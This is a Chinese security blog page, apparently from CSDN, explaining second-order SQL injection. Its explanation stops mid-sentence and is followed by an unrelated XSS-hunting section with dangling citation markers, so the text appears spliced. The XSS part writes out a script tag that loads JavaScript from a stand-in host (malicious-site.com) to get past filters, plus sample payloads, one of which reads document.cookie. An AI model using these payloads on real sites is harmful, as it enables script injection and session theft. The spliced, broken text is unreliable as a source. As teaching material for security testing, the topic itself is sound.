【漏洞挖掘】——120、二次注入深入刨析

基本介绍

这里所谓的二次注入其实就是将可能导致SQL注入的字符先存入到数据库中,而当我们再次调用这个恶意构造的字符时就可以触发SQL注入,这一种注入在平时比较常见,但是确实是存在的一种注入,故此在这里将其单独拎出来说一下

注入原理

二次注入的原理是在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据,在将数据存入到了数据库中之后开发者就认为数据是可信的,在下一次进行需要进行查询的时候直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入,比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中然后在下一次使用中在拼凑的过程中就形成了二次注入:

总结起来二次注入其实是分为两个步骤:

  • 插入恶意数据 
  • 引用恶意数据
注入思路

二次排序注入思路:

1、黑客通过构造数据的形式在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令 
2、服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原

### XSS漏洞挖掘方法 XSS(跨站脚本攻击)是一种常见的Web安全漏洞,其核心在于攻击者能够通过注入恶意脚本来操控受害者的浏览器行为。以下是关于XSS漏洞挖掘的一些具体方法和技术: #### 测试Payload的选择 为了确保测试过程的安全性和合法性,在实际环境中进行XSS漏洞挖掘时应遵循一定的规范。例如,推荐使用`console.log`作为测试payload来代替可能影响他人体验的弹窗操作[^1]。这种做法不仅减少了对用户的干扰,也便于后续验证。 #### 验证流程 完成初步测试后,可以通过创建另一个账户来进行二次确认。此步骤旨在保证所发现的问题确实存在并可被利用。同时,如果无法清除已插入的数据,则应在提交给相关方的报告里注明这些细节。 #### 外部资源加载 除了直接嵌入脚本代码之外,还可以尝试引用远程服务器上的JS文件实现更复杂的逻辑处理。比如下面这个例子展示了如何引入外部javascript文件: ```html <script src="http://malicious-site.com/malicious.js"></script> ``` 这种方式特别适用于某些过滤机制较为严格但未完全封堵特定标签属性的情况[^3]。 ### 常见工具介绍 针对大规模自动化扫描需求或者深入分复杂场景下的潜在风险点,可以借助专门开发出来的软件产品辅助工作。这里列举了一款广受好评的应用程序——XSStrike: - **名称**: XSStrike - **功能特点**: 这是一个专为寻找XSS缺陷而设计的强大框架;它支持多种类型的输入向量检测,并且内置了大量的绕过技术库以应对现代防护措施带来的挑战[^4]。 - **注意事项**: 使用此类工具有助于提高效率的同时也要注意合法合规方面的要求,避免不当行为引发法律责任等问题发生。 ### 示例代码片段展示 以下是一些简单的HTML/XSS payload实例供参考学习: ```html <!-- 最基本形式 --> <script>alert('Test')</script> <!-- 不含引号版本 --> <script>document.write(1)</script> <!-- 访问Cookie信息 --> <script>console.log(document.cookie);</script> ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值